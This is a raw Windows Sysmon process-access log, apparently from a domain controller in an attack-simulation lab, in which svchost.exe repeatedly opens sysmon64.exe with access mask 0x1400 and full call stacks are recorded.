09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001560Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001559Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001558Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001557Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001556Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001555Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001554Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001553Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.793{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001552Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001551Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001550Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001549Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001548Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001547Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001546Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001545Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001544Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001543Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+d3ae|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001542Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11aad|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001541Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+11058|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001540Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+12023|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001539Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8fc1|c:\windows\system32\lsm.dll+8eb0|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001538Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 09:09:35.778{A5F018FF-28BE-5F80-0C00-000000007F01}6041124C:\Windows\system32\svchost.exe{A5F018FF-28CF-5F80-3000-000000007F01}2508C:\Windows\sysmon64.exe0x1400C:\Windows\SYSTEM32\ntdll.dll+a5ec4|C:\Windows\System32\KERNELBASE.dll+5eab4|c:\windows\system32\lsm.dll+e9d6|c:\windows\system32\lsm.dll+8e6f|C:\Windows\System32\RPCRT4.dll+78343|C:\Windows\System32\RPCRT4.dll+dbc0d|C:\Windows\System32\RPCRT4.dll+b3dc|C:\Windows\System32\RPCRT4.dll+59dc4|C:\Windows\System32\RPCRT4.dll+58cdd|C:\Windows\System32\RPCRT4.dll+5958b|C:\Windows\System32\RPCRT4.dll+3942c|C:\Windows\System32\RPCRT4.dll+398ac|C:\Windows\System32\RPCRT4.dll+53e9c|C:\Windows\System32\RPCRT4.dll+556fb|C:\Windows\System32\RPCRT4.dll+481da|C:\Windows\SYSTEM32\ntdll.dll+286be|C:\Windows\SYSTEM32\ntdll.dll+2a029|C:\Windows\System32\KERNEL32.DLL+84d4|C:\Windows\SYSTEM32\ntdll.dll+6e871 10341000x80000000000000001537Microsoft-Windows-Sysmon/Operationalwin-dc-1796611.attackrange.local-2020-10-09 